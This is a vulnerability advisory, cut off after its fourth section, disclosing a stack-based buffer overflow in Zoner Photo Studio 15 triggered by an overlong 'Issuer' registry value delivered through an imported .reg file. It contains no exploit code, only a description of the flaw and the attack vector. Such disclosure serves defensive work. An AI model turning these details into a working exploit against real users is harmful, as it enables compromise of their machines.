ADVISORY INFORMATION ----------------------- Product: Zoner Photo Studio Vendor URL: www.zoner.com Type: Stack-based Buffer Overflow [CWE-121] Date found: 2012-10-17 Date published: 2012-11-09 CVSSv2 Score: 4,4 (AV:L/AC:M/Au:N/C:P/I:P/A:P) CVE: - 2\. CREDITS ---------- This vulnerability was discovered and researched by Julien Ahrens from Inshell Security. 3\. VERSIONS AFFECTED -------------------- Zoner Photo Studio 15 Build 3 Zoner Photo Studio 15 Build 2, older versions may be affected too. 4\. VULNERABILITY DESCRIPTION ---------------------------- A stack-based buffer overflow vulnerability has been identified in Zoner Photo Studio 15 Build 2 and 3. When launching, the application loads the "Issuer" value from the registry key "[HKEY_CURRENT_USER\Software\ZONER\Zoner Photo Studio 15\Preferences\Certificate]", but it does not validate the length of the string loaded from the key before passing it to a buffer, which leads to a stack-based buffer overflow. An attacker needs to force the victim to import an arbitrary .reg file to exploit this vulnerability. 5\.
